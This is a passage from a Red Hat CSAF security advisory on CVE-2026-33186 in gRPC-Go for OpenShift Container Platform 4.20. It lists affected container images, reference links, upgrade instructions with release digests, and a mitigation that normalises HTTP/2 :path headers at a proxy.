"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-33186"
},
{
"category": "external",
"summary": "RHBZ#2449833",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2449833"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-33186",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33186"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-33186",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33186"
},
{
"category": "external",
"summary": "https://github.com/grpc/grpc-go/security/advisories/GHSA-p77j-4mvh-x3m3",
"url": "https://github.com/grpc/grpc-go/security/advisories/GHSA-p77j-4mvh-x3m3"
}
],
"release_date": "2026-03-20T22:23:32.147000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-23T08:26:48+00:00",
"details": "For OpenShift Container Platform 4.20 see the following documentation, which will be updated shortly for this release, for important instructions on how to upgrade your cluster and fully apply this asynchronous errata update:\n\nhttps://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html/release_notes/\n\nYou may download the oc tool and use it to inspect release image metadata for x86_64, s390x, ppc64le, and aarch64 architectures. The image digests may be found at https://quay.io/repository/openshift-release-dev/ocp-release?tab=tags.\n\nThe sha values for the release are as follows:\n\n (For x86_64 architecture)\n The image digest is sha256:5a2bec1f74236deb9519ab5232146c57d2afdb8f8db6773abbb50027150eb8ad\n\n (For s390x architecture)\n The image digest is sha256:168bf6fa86ad2dae55203e833352d47a1284c4db4f42a87bfe8555da97a4f5b3\n\n (For ppc64le architecture)\n The image digest is sha256:df8f0087646c952daae01c4f5ab625bdb95b317cfa790f6841309e8d131c6f89\n\n (For aarch64 architecture)\n The image digest is sha256:2e98640a8f567bb8aeab95719d0fea4048658e7edb093377d9ca08262d4e53f0\n\nAll OpenShift Container Platform 4.20 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html-single/updating_clusters/index#updating-cluster-cli.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:27063"
},
{
"category": "workaround",
"details": "To mitigate this issue, implement infrastructure-level normalization to ensure all incoming HTTP/2 `:path` headers are properly formatted with a leading slash before reaching the gRPC-Go server. This can be achieved by configuring a reverse proxy or API gateway to validate and normalize the `:path` header. Ensure that any such intermediary is properly configured and restarted to apply the changes, which may temporarily impact service availability.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
